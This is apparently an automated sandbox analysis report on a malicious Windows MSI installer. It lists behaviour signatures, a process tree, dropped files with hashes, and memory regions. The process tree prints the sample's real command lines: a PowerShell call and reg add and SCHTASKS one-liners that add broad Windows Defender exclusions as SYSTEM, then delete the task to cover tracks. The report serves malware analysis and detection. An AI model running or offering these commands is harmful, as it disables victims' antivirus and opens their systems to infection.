Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/08/2026, 00:15

General

  • Target
    install_c0rd004.msi
  • Size 8.6MB
  • Sample260801-aj9rhateld
  • SHA256 6346bb4ff25d52508dd61d08b3b1fd59d6b99c6acae69a0bbf7fcc2bc6749075
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 9 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_c0rd004.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3376
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4424
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1136
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding AB49824E28F33E8766F1A378D2EDF0A6 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1512
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:1568
  • C:\Users\Public\QQeJGF\p4ONkf.exe
    "C:\Users\Public\QQeJGF\p4ONkf.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4512
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QQeJGF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QQeJGF\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5352
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5136
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1008
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2792
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1696
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3744
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1920
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:3248
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1312
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5960
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3104
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:692
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4500
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3352
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4608
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:5492
                  • C:\Windows\system32\cmd.exe
                    "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QQeJGF" /t REG_DWORD /d 0 /f
                    1⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2568
                    • C:\Windows\System32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QQeJGF" /t REG_DWORD /d 0 /f
                      2⤵
                      • Windows security bypass
                      PID:1380
                  • C:\Windows\system32\cmd.exe
                    cmd.exe
                    1⤵
                      PID:5776
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:4544
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:5660
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                      1⤵
                      • Executes a command shell one-liner
                      PID:5832

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          e599f93.rbs

                          • Path C:\Config.Msi\e599f93.rbs
                          • Size 7KB
                          • SHA256 b56b93db4698fde472bed477a1bccc53a5f67e94789f700a493b9ee64968dba6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          UxEnhance64.dll

                          • Path C:\Users\Public\QQeJGF\UxEnhance64.dll
                          • Size 3.1MB
                          • SHA256 dca6d56fe8f77020e16bdbf953f0cdcc9fc2f9b6a5d2829ead9b9ca4693295bd
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          adoresd.dat

                          • Path C:\Users\Public\QQeJGF\adoresd.dat
                          • Size 4.7MB
                          • SHA256 30e474ebfc1df5d0d3a5151c78b35d443cf2c599760620e9fa7fed928545506b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          msadox.tb

                          • Path C:\Users\Public\QQeJGF\msadox.tb
                          • Size 8KB
                          • SHA256 92dd298d8812d3d99daf5709e5ad051d5868013bf04c9e70d90495db40b8f3f2
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          p4ONkf.exe

                          • Path C:\Users\Public\QQeJGF\p4ONkf.exe
                          • Size 135KB
                          • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          MSIA753.tmp

                          • Path C:\Windows\Installer\MSIA753.tmp
                          • Size 8.5MB
                          • SHA256 1220a95f82c6f700b9ddf4571af4acd2169ab87bb97e7e5a664eeba1cb89d353
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          e599f92.msi

                          • Path C:\Windows\Installer\e599f92.msi
                          • Size 8.6MB
                          • SHA256 6346bb4ff25d52508dd61d08b3b1fd59d6b99c6acae69a0bbf7fcc2bc6749075
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          metadata-2

                          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                          • Size 26.1MB
                          • SHA256 18a4ecffccbcdc7bea9f49e6e78e2539cbedfa378e39ec89a5aedf2d0401799a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          {0093fe9d-26fb-4ddc-85f3-87b8e9da078a}_OnDiskSnapshotProp

                          • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0093fe9d-26fb-4ddc-85f3-87b8e9da078a}_OnDiskSnapshotProp
                          • Size 6KB
                          • SHA256 3ed2ce419497775134c0a744bc405256e2c7d8b78cd3114404354ade7108f854
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1304-66-0x00007FFCF8060000-0x00007FFCF8062000-memory.dmp

                          memory/1304-91-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-58-0x00007FFCF8050000-0x00007FFCF8052000-memory.dmp

                          memory/1304-59-0x00007FFCD4420000-0x00007FFCD493E000-memory.dmp

                          memory/1304-94-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-93-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-64-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-85-0x0000025BAB1D0000-0x0000025BAB25A000-memory.dmp

                          memory/1304-67-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-71-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-72-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-74-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-73-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-78-0x0000025BABC90000-0x0000025BAC521000-memory.dmp

                          memory/1304-84-0x0000025BAB0E0000-0x0000025BAB12E000-memory.dmp

                          memory/1304-89-0x0000025BAB1D0000-0x0000025BAB25A000-memory.dmp

                          memory/1304-87-0x0000025BAB1D0000-0x0000025BAB25A000-memory.dmp

                          memory/1304-88-0x0000025BAB1D0000-0x0000025BAB25A000-memory.dmp

                          memory/1512-12-0x00007FFCF8050000-0x00007FFCF8052000-memory.dmp

                          memory/1512-44-0x00007FFCE0650000-0x00007FFCE0662000-memory.dmp

                          memory/1512-13-0x00007FFCD42E0000-0x00007FFCD4932000-memory.dmp

                          memory/1512-16-0x00007FFCE0650000-0x00007FFCE0662000-memory.dmp

                          memory/4512-100-0x000001B06A4C0000-0x000001B06A4E2000-memory.dmp

                          memory/4512-103-0x000001B06A510000-0x000001B06A52E000-memory.dmp

                          memory/4512-104-0x000001B06A770000-0x000001B06A822000-memory.dmp

                          memory/4512-105-0x000001B06A530000-0x000001B06A53A000-memory.dmp